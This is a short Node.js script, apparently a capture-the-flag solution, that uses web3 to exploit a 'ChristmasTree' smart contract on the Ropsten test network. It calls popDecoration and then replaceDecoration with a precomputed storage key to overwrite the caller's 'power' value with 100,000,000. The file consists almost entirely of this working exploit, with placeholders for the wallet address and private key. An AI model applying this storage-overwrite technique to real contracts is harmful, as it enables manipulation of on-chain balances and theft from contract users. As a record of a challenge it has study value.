powerの値をハックして変更する

hackPray.js

var fs   = require('fs');
var Web3 = require('web3');

var web3 = new Web3('wss://ropsten.infura.io/ws');

var christmasTreeABI     = JSON.parse(fs.readFileSync('./build/contracts/ChristmasTree.json')).abi;
var christmasTreeAddress = '0x0a97246d46703F72B5c34828f80171F005f66c60';
var christmasTree        = new web3.eth.Contract(christmasTreeABI, christmasTreeAddress);

var address = 'your address';
var privkey = 'your priv key';

var targetKey = 'calculate result hex'

hackPray();

async function hackPray() {
  web3.eth.defaultAccount = address;
  web3.eth.accounts.wallet.add(privkey);

  var balance;
  balance = await christmasTree.methods.powerOf(address).call();
  console.log(balance);

  var result
  result = await christmasTree.methods.popDecoration().send({
    from: address,
    gas: 4700000,
    gasPrice: 20000000000,
  });
  console.log(result);

  var hackKey = web3.utils.toHex(web3.utils.toBN(targetKey).toString());
  var manyPray = 100000000;

  var result = await christmasTree.methods.replaceDecoration(hackKey, manyPray).send({
    from: address,
    gas: 4700000,
    gasPrice: 20000000000,
  });
  console.log(result);

  balance = await christmasTree.methods.powerOf(address).call();
  console.log(balance);

  web3.currentProvider.connection.close();
}